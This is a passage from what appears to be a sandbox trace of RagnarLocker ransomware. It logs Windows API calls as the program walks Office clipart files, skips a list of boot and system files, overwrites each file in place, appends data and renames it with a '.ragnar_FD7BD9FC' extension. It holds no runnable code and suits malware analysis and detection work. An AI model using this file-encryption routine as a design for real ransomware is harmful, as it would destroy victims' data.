lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.904] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.904] GetProcessHeap () returned 0x580000 [0079.904] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.904] CloseHandle (hObject=0xf4) returned 1 [0079.904] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" [0079.904] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.ragnar_FD7BD9FC" [0079.904] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.905] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0079.905] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.905] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN00965_.WMF" | out: lpString1="AN00965_.WMF") returned="AN00965_.WMF" [0079.905] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned=".WMF" [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="autorun.inf") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="boot.ini") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="bootfont.bin") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="bootsect.bak") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="bootmgr") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="bootmgr.efi") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="desktop.ini") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="iconcache.db") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="ntldr") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="ntuser.dat") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="ntuser.ini") returned -1 [0079.905] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="thumbs.db") returned -1 [0079.905] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.905] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.906] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.906] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.906] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.906] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.906] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0079.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.906] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7072) returned 1 [0079.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.906] GetProcessHeap () returned 0x580000 [0079.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.906] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.908] VirtualAlloc (lpAddress=0x0, dwSize=0x1ba0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.908] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.908] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.908] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ba0, lpOverlapped=0x0) returned 1 [0079.909] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.909] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ba0, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.909] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ba0, lpOverlapped=0x0) returned 1 [0079.909] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ba0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.909] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.909] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.909] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.909] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.910] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.910] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.910] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.910] GetProcessHeap () returned 0x580000 [0079.910] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.910] CloseHandle (hObject=0xf4) returned 1 [0079.910] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" [0079.910] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.ragnar_FD7BD9FC" [0079.910] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.910] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0079.910] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.910] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01039_.WMF" | out: lpString1="AN01039_.WMF") returned="AN01039_.WMF" [0079.910] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned=".WMF" [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="autorun.inf") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="boot.ini") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="bootfont.bin") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="bootsect.bak") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="bootmgr") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="bootmgr.efi") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="desktop.ini") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="iconcache.db") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="ntldr") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="ntuser.dat") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="ntuser.ini") returned -1 [0079.911] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="thumbs.db") returned -1 [0079.911] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.911] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.911] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.911] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.911] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.911] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.911] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0079.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.912] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3344) returned 1 [0079.912] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.912] GetProcessHeap () returned 0x580000 [0079.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.912] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.913] VirtualAlloc (lpAddress=0x0, dwSize=0xd10, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.914] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.914] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.914] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd10, lpOverlapped=0x0) returned 1 [0079.914] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.914] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd10, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.914] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd10, lpOverlapped=0x0) returned 1 [0079.914] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.914] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.914] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.914] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.914] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.914] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.915] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.915] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.915] GetProcessHeap () returned 0x580000 [0079.915] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.915] CloseHandle (hObject=0xf4) returned 1 [0079.915] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" [0079.915] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.ragnar_FD7BD9FC" [0079.915] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.915] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0079.915] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.915] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01044_.WMF" | out: lpString1="AN01044_.WMF") returned="AN01044_.WMF" [0079.916] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned=".WMF" [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="autorun.inf") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="boot.ini") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="bootfont.bin") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="bootsect.bak") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="bootmgr") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="bootmgr.efi") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="desktop.ini") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="iconcache.db") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="ntldr") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="ntuser.dat") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="ntuser.ini") returned -1 [0079.916] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="thumbs.db") returned -1 [0079.916] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.916] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.916] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.916] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.916] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.916] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.916] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0079.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.917] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1596) returned 1 [0079.917] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x633, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.917] GetProcessHeap () returned 0x580000 [0079.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.917] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.918] VirtualAlloc (lpAddress=0x0, dwSize=0x63c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.918] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x63c, lpOverlapped=0x0) returned 1 [0079.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.919] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x63c, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.919] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x63c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x63c, lpOverlapped=0x0) returned 1 [0079.919] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x63c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.919] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.919] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x63c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.919] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.919] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.919] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.919] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.919] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.919] GetProcessHeap () returned 0x580000 [0079.919] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.919] CloseHandle (hObject=0xf4) returned 1 [0079.919] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" [0079.920] lstrcatW (in: 